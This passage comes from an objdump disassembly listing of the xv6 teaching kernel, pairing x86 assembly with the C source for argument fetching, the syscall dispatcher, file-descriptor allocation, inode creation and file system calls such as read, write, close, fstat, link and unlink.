8b 55 f4 mov -0xc(%ebp),%edx if(addr >= KERNBASE) 801045bf: 85 d2 test %edx,%edx 801045c1: 78 2c js 801045ef <argstr+0x4f> *pp = (char*)addr; 801045c3: 8b 4d 0c mov 0xc(%ebp),%ecx for(s = *pp; s < ep; s++){ 801045c6: 81 fa fe ff ff 7f cmp $0x7ffffffe,%edx *pp = (char*)addr; 801045cc: 89 d0 mov %edx,%eax 801045ce: 89 11 mov %edx,(%ecx) for(s = *pp; s < ep; s++){ 801045d0: 77 1d ja 801045ef <argstr+0x4f> if(*s == 0) 801045d2: 80 3a 00 cmpb $0x0,(%edx) 801045d5: 75 0e jne 801045e5 <argstr+0x45> 801045d7: eb 1f jmp 801045f8 <argstr+0x58> 801045d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801045e0: 80 38 00 cmpb $0x0,(%eax) 801045e3: 74 13 je 801045f8 <argstr+0x58> for(s = *pp; s < ep; s++){ 801045e5: 83 c0 01 add $0x1,%eax 801045e8: 3d fe ff ff 7f cmp $0x7ffffffe,%eax 801045ed: 76 f1 jbe 801045e0 <argstr+0x40> return -1; 801045ef: b8 ff ff ff ff mov $0xffffffff,%eax } 801045f4: c9 leave 801045f5: c3 ret 801045f6: 66 90 xchg %ax,%ax return s - *pp; 801045f8: 29 d0 sub %edx,%eax } 801045fa: c9 leave 801045fb: c3 ret 801045fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104600 <syscall>: [SYS_shm_close] sys_shm_close }; void syscall(void) { 80104600: 55 push %ebp 80104601: 89 e5 mov %esp,%ebp 80104603: 56 push %esi 80104604: 53 push %ebx 80104605: 83 ec 10 sub $0x10,%esp int num; struct proc *curproc = myproc(); 80104608: e8 73 f0 ff ff call 80103680 <myproc> num = curproc->tf->eax; 8010460d: 8b 70 18 mov 0x18(%eax),%esi struct proc *curproc = myproc(); 80104610: 89 c3 mov %eax,%ebx num = curproc->tf->eax; 80104612: 8b 46 1c mov 0x1c(%esi),%eax if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { 80104615: 8d 50 ff lea -0x1(%eax),%edx 80104618: 83 fa 16 cmp $0x16,%edx 8010461b: 77 1b ja 80104638 <syscall+0x38> 8010461d: 8b 14 85 e0 74 10 80 mov -0x7fef8b20(,%eax,4),%edx 80104624: 85 d2 test %edx,%edx 80104626: 74 10 je 80104638 <syscall+0x38> curproc->tf->eax = syscalls[num](); 80104628: ff d2 call *%edx 8010462a: 89 46 1c mov %eax,0x1c(%esi) } else { cprintf("%d %s: unknown sys call %d\n", curproc->pid, curproc->name, num); curproc->tf->eax = -1; } } 8010462d: 83 c4 10 add $0x10,%esp 80104630: 5b pop %ebx 80104631: 5e pop %esi 80104632: 5d pop %ebp 80104633: c3 ret 80104634: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf("%d %s: unknown sys call %d\n", 80104638: 89 44 24 0c mov %eax,0xc(%esp) curproc->pid, curproc->name, num); 8010463c: 8d 43 6c lea 0x6c(%ebx),%eax 8010463f: 89 44 24 08 mov %eax,0x8(%esp) cprintf("%d %s: unknown sys call %d\n", 80104643: 8b 43 10 mov 0x10(%ebx),%eax 80104646: c7 04 24 b1 74 10 80 movl $0x801074b1,(%esp) 8010464d: 89 44 24 04 mov %eax,0x4(%esp) 80104651: e8 fa bf ff ff call 80100650 <cprintf> curproc->tf->eax = -1; 80104656: 8b 43 18 mov 0x18(%ebx),%eax 80104659: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax) } 80104660: 83 c4 10 add $0x10,%esp 80104663: 5b pop %ebx 80104664: 5e pop %esi 80104665: 5d pop %ebp 80104666: c3 ret 80104667: 66 90 xchg %ax,%ax 80104669: 66 90 xchg %ax,%ax 8010466b: 66 90 xchg %ax,%ax 8010466d: 66 90 xchg %ax,%ax 8010466f: 90 nop 80104670 <fdalloc>: // Allocate a file descriptor for the given file. // Takes over file reference from caller on success. static int fdalloc(struct file *f) { 80104670: 55 push %ebp 80104671: 89 e5 mov %esp,%ebp 80104673: 53 push %ebx 80104674: 89 c3 mov %eax,%ebx 80104676: 83 ec 04 sub $0x4,%esp int fd; struct proc *curproc = myproc(); 80104679: e8 02 f0 ff ff call 80103680 <myproc> for(fd = 0; fd < NOFILE; fd++){ 8010467e: 31 d2 xor %edx,%edx if(curproc->ofile[fd] == 0){ 80104680: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx 80104684: 85 c9 test %ecx,%ecx 80104686: 74 18 je 801046a0 <fdalloc+0x30> for(fd = 0; fd < NOFILE; fd++){ 80104688: 83 c2 01 add $0x1,%edx 8010468b: 83 fa 10 cmp $0x10,%edx 8010468e: 75 f0 jne 80104680 <fdalloc+0x10> curproc->ofile[fd] = f; return fd; } } return -1; } 80104690: 83 c4 04 add $0x4,%esp return -1; 80104693: b8 ff ff ff ff mov $0xffffffff,%eax } 80104698: 5b pop %ebx 80104699: 5d pop %ebp 8010469a: c3 ret 8010469b: 90 nop 8010469c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi curproc->ofile[fd] = f; 801046a0: 89 5c 90 28 mov %ebx,0x28(%eax,%edx,4) } 801046a4: 83 c4 04 add $0x4,%esp return fd; 801046a7: 89 d0 mov %edx,%eax } 801046a9: 5b pop %ebx 801046aa: 5d pop %ebp 801046ab: c3 ret 801046ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801046b0 <create>: return -1; } static struct inode* create(char *path, short type, short major, short minor) { 801046b0: 55 push %ebp 801046b1: 89 e5 mov %esp,%ebp 801046b3: 57 push %edi 801046b4: 56 push %esi 801046b5: 53 push %ebx 801046b6: 83 ec 4c sub $0x4c,%esp 801046b9: 89 4d c0 mov %ecx,-0x40(%ebp) 801046bc: 8b 4d 08 mov 0x8(%ebp),%ecx uint off; struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 801046bf: 8d 5d da lea -0x26(%ebp),%ebx 801046c2: 89 5c 24 04 mov %ebx,0x4(%esp) 801046c6: 89 04 24 mov %eax,(%esp) { 801046c9: 89 55 c4 mov %edx,-0x3c(%ebp) 801046cc: 89 4d bc mov %ecx,-0x44(%ebp) if((dp = nameiparent(path, name)) == 0) 801046cf: e8 2c d8 ff ff call 80101f00 <nameiparent> 801046d4: 85 c0 test %eax,%eax 801046d6: 89 c7 mov %eax,%edi 801046d8: 0f 84 da 00 00 00 je 801047b8 <create+0x108> return 0; ilock(dp); 801046de: 89 04 24 mov %eax,(%esp) 801046e1: e8 aa cf ff ff call 80101690 <ilock> if((ip = dirlookup(dp, name, &off)) != 0){ 801046e6: 8d 45 d4 lea -0x2c(%ebp),%eax 801046e9: 89 44 24 08 mov %eax,0x8(%esp) 801046ed: 89 5c 24 04 mov %ebx,0x4(%esp) 801046f1: 89 3c 24 mov %edi,(%esp) 801046f4: e8 a7 d4 ff ff call 80101ba0 <dirlookup> 801046f9: 85 c0 test %eax,%eax 801046fb: 89 c6 mov %eax,%esi 801046fd: 74 41 je 80104740 <create+0x90> iunlockput(dp); 801046ff: 89 3c 24 mov %edi,(%esp) 80104702: e8 e9 d1 ff ff call 801018f0 <iunlockput> ilock(ip); 80104707: 89 34 24 mov %esi,(%esp) 8010470a: e8 81 cf ff ff call 80101690 <ilock> if(type == T_FILE && ip->type == T_FILE) 8010470f: 66 83 7d c4 02 cmpw $0x2,-0x3c(%ebp) 80104714: 75 12 jne 80104728 <create+0x78> 80104716: 66 83 7e 50 02 cmpw $0x2,0x50(%esi) 8010471b: 89 f0 mov %esi,%eax 8010471d: 75 09 jne 80104728 <create+0x78> panic("create: dirlink"); iunlockput(dp); return ip; } 8010471f: 83 c4 4c add $0x4c,%esp 80104722: 5b pop %ebx 80104723: 5e pop %esi 80104724: 5f pop %edi 80104725: 5d pop %ebp 80104726: c3 ret 80104727: 90 nop iunlockput(ip); 80104728: 89 34 24 mov %esi,(%esp) 8010472b: e8 c0 d1 ff ff call 801018f0 <iunlockput> } 80104730: 83 c4 4c add $0x4c,%esp return 0; 80104733: 31 c0 xor %eax,%eax } 80104735: 5b pop %ebx 80104736: 5e pop %esi 80104737: 5f pop %edi 80104738: 5d pop %ebp 80104739: c3 ret 8010473a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if((ip = ialloc(dp->dev, type)) == 0) 80104740: 0f bf 45 c4 movswl -0x3c(%ebp),%eax 80104744: 89 44 24 04 mov %eax,0x4(%esp) 80104748: 8b 07 mov (%edi),%eax 8010474a: 89 04 24 mov %eax,(%esp) 8010474d: e8 ae cd ff ff call 80101500 <ialloc> 80104752: 85 c0 test %eax,%eax 80104754: 89 c6 mov %eax,%esi 80104756: 0f 84 bf 00 00 00 je 8010481b <create+0x16b> ilock(ip); 8010475c: 89 04 24 mov %eax,(%esp) 8010475f: e8 2c cf ff ff call 80101690 <ilock> ip->major = major; 80104764: 0f b7 45 c0 movzwl -0x40(%ebp),%eax 80104768: 66 89 46 52 mov %ax,0x52(%esi) ip->minor = minor; 8010476c: 0f b7 45 bc movzwl -0x44(%ebp),%eax 80104770: 66 89 46 54 mov %ax,0x54(%esi) ip->nlink = 1; 80104774: b8 01 00 00 00 mov $0x1,%eax 80104779: 66 89 46 56 mov %ax,0x56(%esi) iupdate(ip); 8010477d: 89 34 24 mov %esi,(%esp) 80104780: e8 4b ce ff ff call 801015d0 <iupdate> if(type == T_DIR){ // Create . and .. entries. 80104785: 66 83 7d c4 01 cmpw $0x1,-0x3c(%ebp) 8010478a: 74 34 je 801047c0 <create+0x110> if(dirlink(dp, name, ip->inum) < 0) 8010478c: 8b 46 04 mov 0x4(%esi),%eax 8010478f: 89 5c 24 04 mov %ebx,0x4(%esp) 80104793: 89 3c 24 mov %edi,(%esp) 80104796: 89 44 24 08 mov %eax,0x8(%esp) 8010479a: e8 61 d6 ff ff call 80101e00 <dirlink> 8010479f: 85 c0 test %eax,%eax 801047a1: 78 6c js 8010480f <create+0x15f> iunlockput(dp); 801047a3: 89 3c 24 mov %edi,(%esp) 801047a6: e8 45 d1 ff ff call 801018f0 <iunlockput> } 801047ab: 83 c4 4c add $0x4c,%esp return ip; 801047ae: 89 f0 mov %esi,%eax } 801047b0: 5b pop %ebx 801047b1: 5e pop %esi 801047b2: 5f pop %edi 801047b3: 5d pop %ebp 801047b4: c3 ret 801047b5: 8d 76 00 lea 0x0(%esi),%esi return 0; 801047b8: 31 c0 xor %eax,%eax 801047ba: e9 60 ff ff ff jmp 8010471f <create+0x6f> 801047bf: 90 nop dp->nlink++; // for ".." 801047c0: 66 83 47 56 01 addw $0x1,0x56(%edi) iupdate(dp); 801047c5: 89 3c 24 mov %edi,(%esp) 801047c8: e8 03 ce ff ff call 801015d0 <iupdate> if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) 801047cd: 8b 46 04 mov 0x4(%esi),%eax 801047d0: c7 44 24 04 5c 75 10 movl $0x8010755c,0x4(%esp) 801047d7: 80 801047d8: 89 34 24 mov %esi,(%esp) 801047db: 89 44 24 08 mov %eax,0x8(%esp) 801047df: e8 1c d6 ff ff call 80101e00 <dirlink> 801047e4: 85 c0 test %eax,%eax 801047e6: 78 1b js 80104803 <create+0x153> 801047e8: 8b 47 04 mov 0x4(%edi),%eax 801047eb: c7 44 24 04 5b 75 10 movl $0x8010755b,0x4(%esp) 801047f2: 80 801047f3: 89 34 24 mov %esi,(%esp) 801047f6: 89 44 24 08 mov %eax,0x8(%esp) 801047fa: e8 01 d6 ff ff call 80101e00 <dirlink> 801047ff: 85 c0 test %eax,%eax 80104801: 79 89 jns 8010478c <create+0xdc> panic("create dots"); 80104803: c7 04 24 4f 75 10 80 movl $0x8010754f,(%esp) 8010480a: e8 51 bb ff ff call 80100360 <panic> panic("create: dirlink"); 8010480f: c7 04 24 5e 75 10 80 movl $0x8010755e,(%esp) 80104816: e8 45 bb ff ff call 80100360 <panic> panic("create: ialloc"); 8010481b: c7 04 24 40 75 10 80 movl $0x80107540,(%esp) 80104822: e8 39 bb ff ff call 80100360 <panic> 80104827: 89 f6 mov %esi,%esi 80104829: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104830 <argfd.constprop.0>: argfd(int n, int *pfd, struct file **pf) 80104830: 55 push %ebp 80104831: 89 e5 mov %esp,%ebp 80104833: 56 push %esi 80104834: 89 c6 mov %eax,%esi 80104836: 53 push %ebx 80104837: 89 d3 mov %edx,%ebx 80104839: 83 ec 20 sub $0x20,%esp if(argint(n, &fd) < 0) 8010483c: 8d 45 f4 lea -0xc(%ebp),%eax 8010483f: 89 44 24 04 mov %eax,0x4(%esp) 80104843: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8010484a: e8 c1 fc ff ff call 80104510 <argint> 8010484f: 85 c0 test %eax,%eax 80104851: 78 2d js 80104880 <argfd.constprop.0+0x50> if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0) 80104853: 83 7d f4 0f cmpl $0xf,-0xc(%ebp) 80104857: 77 27 ja 80104880 <argfd.constprop.0+0x50> 80104859: e8 22 ee ff ff call 80103680 <myproc> 8010485e: 8b 55 f4 mov -0xc(%ebp),%edx 80104861: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax 80104865: 85 c0 test %eax,%eax 80104867: 74 17 je 80104880 <argfd.constprop.0+0x50> if(pfd) 80104869: 85 f6 test %esi,%esi 8010486b: 74 02 je 8010486f <argfd.constprop.0+0x3f> *pfd = fd; 8010486d: 89 16 mov %edx,(%esi) if(pf) 8010486f: 85 db test %ebx,%ebx 80104871: 74 1d je 80104890 <argfd.constprop.0+0x60> *pf = f; 80104873: 89 03 mov %eax,(%ebx) return 0; 80104875: 31 c0 xor %eax,%eax } 80104877: 83 c4 20 add $0x20,%esp 8010487a: 5b pop %ebx 8010487b: 5e pop %esi 8010487c: 5d pop %ebp 8010487d: c3 ret 8010487e: 66 90 xchg %ax,%ax 80104880: 83 c4 20 add $0x20,%esp return -1; 80104883: b8 ff ff ff ff mov $0xffffffff,%eax } 80104888: 5b pop %ebx 80104889: 5e pop %esi 8010488a: 5d pop %ebp 8010488b: c3 ret 8010488c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return 0; 80104890: 31 c0 xor %eax,%eax 80104892: eb e3 jmp 80104877 <argfd.constprop.0+0x47> 80104894: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010489a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801048a0 <sys_dup>: { 801048a0: 55 push %ebp if(argfd(0, 0, &f) < 0) 801048a1: 31 c0 xor %eax,%eax { 801048a3: 89 e5 mov %esp,%ebp 801048a5: 53 push %ebx 801048a6: 83 ec 24 sub $0x24,%esp if(argfd(0, 0, &f) < 0) 801048a9: 8d 55 f4 lea -0xc(%ebp),%edx 801048ac: e8 7f ff ff ff call 80104830 <argfd.constprop.0> 801048b1: 85 c0 test %eax,%eax 801048b3: 78 23 js 801048d8 <sys_dup+0x38> if((fd=fdalloc(f)) < 0) 801048b5: 8b 45 f4 mov -0xc(%ebp),%eax 801048b8: e8 b3 fd ff ff call 80104670 <fdalloc> 801048bd: 85 c0 test %eax,%eax 801048bf: 89 c3 mov %eax,%ebx 801048c1: 78 15 js 801048d8 <sys_dup+0x38> filedup(f); 801048c3: 8b 45 f4 mov -0xc(%ebp),%eax 801048c6: 89 04 24 mov %eax,(%esp) 801048c9: e8 e2 c4 ff ff call 80100db0 <filedup> return fd; 801048ce: 89 d8 mov %ebx,%eax } 801048d0: 83 c4 24 add $0x24,%esp 801048d3: 5b pop %ebx 801048d4: 5d pop %ebp 801048d5: c3 ret 801048d6: 66 90 xchg %ax,%ax return -1; 801048d8: b8 ff ff ff ff mov $0xffffffff,%eax 801048dd: eb f1 jmp 801048d0 <sys_dup+0x30> 801048df: 90 nop 801048e0 <sys_read>: { 801048e0: 55 push %ebp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 801048e1: 31 c0 xor %eax,%eax { 801048e3: 89 e5 mov %esp,%ebp 801048e5: 83 ec 28 sub $0x28,%esp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 801048e8: 8d 55 ec lea -0x14(%ebp),%edx 801048eb: e8 40 ff ff ff call 80104830 <argfd.constprop.0> 801048f0: 85 c0 test %eax,%eax 801048f2: 78 54 js 80104948 <sys_read+0x68> 801048f4: 8d 45 f0 lea -0x10(%ebp),%eax 801048f7: 89 44 24 04 mov %eax,0x4(%esp) 801048fb: c7 04 24 02 00 00 00 movl $0x2,(%esp) 80104902: e8 09 fc ff ff call 80104510 <argint> 80104907: 85 c0 test %eax,%eax 80104909: 78 3d js 80104948 <sys_read+0x68> 8010490b: 8b 45 f0 mov -0x10(%ebp),%eax 8010490e: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104915: 89 44 24 08 mov %eax,0x8(%esp) 80104919: 8d 45 f4 lea -0xc(%ebp),%eax 8010491c: 89 44 24 04 mov %eax,0x4(%esp) 80104920: e8 2b fc ff ff call 80104550 <argptr> 80104925: 85 c0 test %eax,%eax 80104927: 78 1f js 80104948 <sys_read+0x68> return fileread(f, p, n); 80104929: 8b 45 f0 mov -0x10(%ebp),%eax 8010492c: 89 44 24 08 mov %eax,0x8(%esp) 80104930: 8b 45 f4 mov -0xc(%ebp),%eax 80104933: 89 44 24 04 mov %eax,0x4(%esp) 80104937: 8b 45 ec mov -0x14(%ebp),%eax 8010493a: 89 04 24 mov %eax,(%esp) 8010493d: e8 ce c5 ff ff call 80100f10 <fileread> } 80104942: c9 leave 80104943: c3 ret 80104944: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104948: b8 ff ff ff ff mov $0xffffffff,%eax } 8010494d: c9 leave 8010494e: c3 ret 8010494f: 90 nop 80104950 <sys_write>: { 80104950: 55 push %ebp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104951: 31 c0 xor %eax,%eax { 80104953: 89 e5 mov %esp,%ebp 80104955: 83 ec 28 sub $0x28,%esp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104958: 8d 55 ec lea -0x14(%ebp),%edx 8010495b: e8 d0 fe ff ff call 80104830 <argfd.constprop.0> 80104960: 85 c0 test %eax,%eax 80104962: 78 54 js 801049b8 <sys_write+0x68> 80104964: 8d 45 f0 lea -0x10(%ebp),%eax 80104967: 89 44 24 04 mov %eax,0x4(%esp) 8010496b: c7 04 24 02 00 00 00 movl $0x2,(%esp) 80104972: e8 99 fb ff ff call 80104510 <argint> 80104977: 85 c0 test %eax,%eax 80104979: 78 3d js 801049b8 <sys_write+0x68> 8010497b: 8b 45 f0 mov -0x10(%ebp),%eax 8010497e: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104985: 89 44 24 08 mov %eax,0x8(%esp) 80104989: 8d 45 f4 lea -0xc(%ebp),%eax 8010498c: 89 44 24 04 mov %eax,0x4(%esp) 80104990: e8 bb fb ff ff call 80104550 <argptr> 80104995: 85 c0 test %eax,%eax 80104997: 78 1f js 801049b8 <sys_write+0x68> return filewrite(f, p, n); 80104999: 8b 45 f0 mov -0x10(%ebp),%eax 8010499c: 89 44 24 08 mov %eax,0x8(%esp) 801049a0: 8b 45 f4 mov -0xc(%ebp),%eax 801049a3: 89 44 24 04 mov %eax,0x4(%esp) 801049a7: 8b 45 ec mov -0x14(%ebp),%eax 801049aa: 89 04 24 mov %eax,(%esp) 801049ad: e8 fe c5 ff ff call 80100fb0 <filewrite> } 801049b2: c9 leave 801049b3: c3 ret 801049b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 801049b8: b8 ff ff ff ff mov $0xffffffff,%eax } 801049bd: c9 leave 801049be: c3 ret 801049bf: 90 nop 801049c0 <sys_close>: { 801049c0: 55 push %ebp 801049c1: 89 e5 mov %esp,%ebp 801049c3: 83 ec 28 sub $0x28,%esp if(argfd(0, &fd, &f) < 0) 801049c6: 8d 55 f4 lea -0xc(%ebp),%edx 801049c9: 8d 45 f0 lea -0x10(%ebp),%eax 801049cc: e8 5f fe ff ff call 80104830 <argfd.constprop.0> 801049d1: 85 c0 test %eax,%eax 801049d3: 78 23 js 801049f8 <sys_close+0x38> myproc()->ofile[fd] = 0; 801049d5: e8 a6 ec ff ff call 80103680 <myproc> 801049da: 8b 55 f0 mov -0x10(%ebp),%edx 801049dd: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4) 801049e4: 00 fileclose(f); 801049e5: 8b 45 f4 mov -0xc(%ebp),%eax 801049e8: 89 04 24 mov %eax,(%esp) 801049eb: e8 10 c4 ff ff call 80100e00 <fileclose> return 0; 801049f0: 31 c0 xor %eax,%eax } 801049f2: c9 leave 801049f3: c3 ret 801049f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 801049f8: b8 ff ff ff ff mov $0xffffffff,%eax } 801049fd: c9 leave 801049fe: c3 ret 801049ff: 90 nop 80104a00 <sys_fstat>: { 80104a00: 55 push %ebp if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104a01: 31 c0 xor %eax,%eax { 80104a03: 89 e5 mov %esp,%ebp 80104a05: 83 ec 28 sub $0x28,%esp if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104a08: 8d 55 f0 lea -0x10(%ebp),%edx 80104a0b: e8 20 fe ff ff call 80104830 <argfd.constprop.0> 80104a10: 85 c0 test %eax,%eax 80104a12: 78 34 js 80104a48 <sys_fstat+0x48> 80104a14: 8d 45 f4 lea -0xc(%ebp),%eax 80104a17: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp) 80104a1e: 00 80104a1f: 89 44 24 04 mov %eax,0x4(%esp) 80104a23: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104a2a: e8 21 fb ff ff call 80104550 <argptr> 80104a2f: 85 c0 test %eax,%eax 80104a31: 78 15 js 80104a48 <sys_fstat+0x48> return filestat(f, st); 80104a33: 8b 45 f4 mov -0xc(%ebp),%eax 80104a36: 89 44 24 04 mov %eax,0x4(%esp) 80104a3a: 8b 45 f0 mov -0x10(%ebp),%eax 80104a3d: 89 04 24 mov %eax,(%esp) 80104a40: e8 7b c4 ff ff call 80100ec0 <filestat> } 80104a45: c9 leave 80104a46: c3 ret 80104a47: 90 nop return -1; 80104a48: b8 ff ff ff ff mov $0xffffffff,%eax } 80104a4d: c9 leave 80104a4e: c3 ret 80104a4f: 90 nop 80104a50 <sys_link>: { 80104a50: 55 push %ebp 80104a51: 89 e5 mov %esp,%ebp 80104a53: 57 push %edi 80104a54: 56 push %esi 80104a55: 53 push %ebx 80104a56: 83 ec 3c sub $0x3c,%esp if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80104a59: 8d 45 d4 lea -0x2c(%ebp),%eax 80104a5c: 89 44 24 04 mov %eax,0x4(%esp) 80104a60: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104a67: e8 34 fb ff ff call 801045a0 <argstr> 80104a6c: 85 c0 test %eax,%eax 80104a6e: 0f 88 e6 00 00 00 js 80104b5a <sys_link+0x10a> 80104a74: 8d 45 d0 lea -0x30(%ebp),%eax 80104a77: 89 44 24 04 mov %eax,0x4(%esp) 80104a7b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104a82: e8 19 fb ff ff call 801045a0 <argstr> 80104a87: 85 c0 test %eax,%eax 80104a89: 0f 88 cb 00 00 00 js 80104b5a <sys_link+0x10a> begin_op(); 80104a8f: e8 5c e0 ff ff call 80102af0 <begin_op> if((ip = namei(old)) == 0){ 80104a94: 8b 45 d4 mov -0x2c(%ebp),%eax 80104a97: 89 04 24 mov %eax,(%esp) 80104a9a: e8 41 d4 ff ff call 80101ee0 <namei> 80104a9f: 85 c0 test %eax,%eax 80104aa1: 89 c3 mov %eax,%ebx 80104aa3: 0f 84 ac 00 00 00 je 80104b55 <sys_link+0x105> ilock(ip); 80104aa9: 89 04 24 mov %eax,(%esp) 80104aac: e8 df cb ff ff call 80101690 <ilock> if(ip->type == T_DIR){ 80104ab1: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104ab6: 0f 84 91 00 00 00 je 80104b4d <sys_link+0xfd> ip->nlink++; 80104abc: 66 83 43 56 01 addw $0x1,0x56(%ebx) if((dp = nameiparent(new, name)) == 0) 80104ac1: 8d 7d da lea -0x26(%ebp),%edi iupdate(ip); 80104ac4: 89 1c 24 mov %ebx,(%esp) 80104ac7: e8 04 cb ff ff call 801015d0 <iupdate> iunlock(ip); 80104acc: 89 1c 24 mov %ebx,(%esp) 80104acf: e8 9c cc ff ff call 80101770 <iunlock> if((dp = nameiparent(new, name)) == 0) 80104ad4: 8b 45 d0 mov -0x30(%ebp),%eax 80104ad7: 89 7c 24 04 mov %edi,0x4(%esp) 80104adb: 89 04 24 mov %eax,(%esp) 80104ade: e8 1d d4 ff ff call 80101f00 <nameiparent> 80104ae3: 85 c0 test %eax,%eax 80104ae5: 89 c6 mov %eax,%esi 80104ae7: 74 4f je 80104b38 <sys_link+0xe8> ilock(dp); 80104ae9: 89 04 24 mov %eax,(%esp) 80104aec: e8 9f cb ff ff call 80101690 <ilock> if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ 80104af1: 8b 03 mov (%ebx),%eax 80104af3: 39 06 cmp %eax,(%esi) 80104af5: 75 39 jne 80104b30 <sys_link+0xe0> 80104af7: 8b 43 04 mov 0x4(%ebx),%eax 80104afa: 89 7c 24 04 mov %edi,0x4(%esp) 80104afe: 89 34 24 mov %esi,(%esp) 80104b01: 89 44 24 08 mov %eax,0x8(%esp) 80104b05: e8 f6 d2 ff ff call 80101e00 <dirlink> 80104b0a: 85 c0 test %eax,%eax 80104b0c: 78 22 js 80104b30 <sys_link+0xe0> iunlockput(dp); 80104b0e: 89 34 24 mov %esi,(%esp) 80104b11: e8 da cd ff ff call 801018f0 <iunlockput> iput(ip); 80104b16: 89 1c 24 mov %ebx,(%esp) 80104b19: e8 92 cc ff ff call 801017b0 <iput> end_op(); 80104b1e: e8 3d e0 ff ff call 80102b60 <end_op> } 80104b23: 83 c4 3c add $0x3c,%esp return 0; 80104b26: 31 c0 xor %eax,%eax } 80104b28: 5b pop %ebx 80104b29: 5e pop %esi 80104b2a: 5f pop %edi 80104b2b: 5d pop %ebp 80104b2c: c3 ret 80104b2d: 8d 76 00 lea 0x0(%esi),%esi iunlockput(dp); 80104b30: 89 34 24 mov %esi,(%esp) 80104b33: e8 b8 cd ff ff call 801018f0 <iunlockput> ilock(ip); 80104b38: 89 1c 24 mov %ebx,(%esp) 80104b3b: e8 50 cb ff ff call 80101690 <ilock> ip->nlink--; 80104b40: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80104b45: 89 1c 24 mov %ebx,(%esp) 80104b48: e8 83 ca ff ff call 801015d0 <iupdate> iunlockput(ip); 80104b4d: 89 1c 24 mov %ebx,(%esp) 80104b50: e8 9b cd ff ff call 801018f0 <iunlockput> end_op(); 80104b55: e8 06 e0 ff ff call 80102b60 <end_op> } 80104b5a: 83 c4 3c add $0x3c,%esp return -1; 80104b5d: b8 ff ff ff ff mov $0xffffffff,%eax } 80104b62: 5b pop %ebx 80104b63: 5e pop %esi 80104b64: 5f pop %edi 80104b65: 5d pop %ebp 80104b66: c3 ret 80104b67: 89 f6 mov %esi,%esi 80104b69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104b70 <sys_unlink>: { 80104b70: 55 push %ebp 80104b71: 89 e5 mov %esp,%ebp 80104b73: 57 push %edi 80104b74: 56 push %esi 80104b75: 53 push %ebx 80104b76: 83 ec 5c sub $0x5c,%esp if(argstr(0, &path) < 0) 80104b79: 8d 45 c0 lea -0x40(%ebp),%eax 80104b7c: 89 44 24 04 mov %eax,0x4(%esp) 80104b80: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104b87: e8 14 fa ff ff call 801045a0 <argstr> 80104b8c: 85 c0 test %eax,%eax 80104b8e: 0f 88 76 01 00 00 js 80104d0a <sys_unlink+0x19a> begin_op(); 80104b94: e8 57 df ff ff call 80102af0 <begin_op> if((dp = nameiparent(path, name)) == 0){ 80104b99: 8b 45 c0 mov -0x40(%ebp),%eax 80104b9c: 8d 5d ca lea -0x36(%ebp),%ebx 80104b9f: 89 5c 24 04 mov %ebx,0x4(%esp) 80104ba3: 89 04 24 mov %eax,(%esp) 80104ba6: e8 55 d3 ff ff call 80101f00 <nameiparent> 80104bab: 85 c0 test %eax,%eax 80104bad: 89 45 b4 mov %eax,-0x4c(%ebp) 80104bb0: 0f 84 4f 01 00 00 je 80104d05 <sys_unlink+0x195> ilock(dp); 80104bb6: 8b 75 b4 mov -0x4c(%ebp),%esi 80104bb9: 89 34 24 mov %esi,(%esp) 80104bbc: e8 cf ca ff ff call 80101690 <ilock> if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) 80104bc1: c7 44 24 04 5c 75 10 movl $0x8010755c,0x4(%esp) 80104bc8: 80 80104bc9: 89 1c 24 mov %ebx,(%esp) 80104bcc: e8 9f cf ff ff call 80101b70 <namecmp> 80104bd1: 85 c0 test %eax,%eax 80104bd3: 0f 84 21 01 00 00 je 80104cfa <sys_unlink+0x18a> 80104bd9: c7 44 24 04 5b 75 10 movl $0x8010755b,0x4(%esp) 80104be0: 80 80104be1: 89 1c 24 mov %ebx,(%esp) 80104be4: e8 87 cf ff ff call 80101b70 <namecmp> 80104be9: 85 c0 test %eax,%eax 80104beb: 0f 84 09 01 00 00 je 80104cfa 